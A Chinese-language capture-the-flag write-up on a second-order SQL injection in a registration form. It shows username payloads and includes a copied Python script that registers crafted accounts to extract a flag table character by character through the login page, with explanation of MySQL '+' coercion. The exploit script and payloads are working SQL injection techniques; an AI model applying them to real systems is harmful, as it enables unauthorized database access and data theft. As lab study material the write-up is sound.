- 题目描述:sql注入
- 访问进去是个登录页面
- dirsearch扫描了一下
- 访问register.php
- 注册了个账号 登录进去好像没什么用 返回登录页面
- 但是 这里我想到了一个注入方式 在我写sql注入基础知识的时候提到过 但是 没有仔细研究
二次注入
- 这里注入的点应该是在
register.php
页面中的name中 - 因为邮箱和密码还需要登录时候使用
- 具体可以看我前面的文章
- 单引号注册失败了 于是我将用户名改为
root' and '1
这里注册成功了 - 也就是说这里的闭合方式应该是单引号闭合 且没有我之前学的addslashes()这些转义
- 这个时候登录进去了 用户名为0
- 所以这里必然是存在sql注入的 但是我在尝试注册name为
1' union select 1,database()#
的时候 - 也面返回了一个
nnnnoooo!!!!
也就是 这里还存在一个过滤???? - 所以需要用burpsuit fuzz一下
- 过滤了很多东西
information_schema
被过滤掉我属实没想到 完全不知道怎么搞了 - 无奈wp
- 附上大佬的做题脚本
import requests
import re
register_url = 'http://111.200.241.244:45701/register.php'
login_url = 'http://111.200.241.244:45701/login.php'
for i in range(1, 100):
register_data = {
'email': '111@123.com%d' % i,
'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
'password': 'admin'
}
res = requests.post(url=register_url, data=register_data)
login_data = {
'email': '111@123.com%d' % i,
'password': 'admin'
}
res_ = requests.post(url=login_url, data=login_data)
code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
print(chr(int(code.group(1))), end='')
- 下面是自己的理解
- 既然是用户名处可以进行二次注入 并且
information_schema
被过滤了 想利用union注入肯定是不行的了 - 在mysql中
+
号的作用就是将字符转化为数字相加
'1' + '1a'
'0' + database()
'0' + substr(database(),1,1)
"0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
- 之后通过正则去获取login.php页面的用户名值就是flag每一位的ascii码值
- 我要补充mysql知识了 以前学的做现在的题目完全不够用…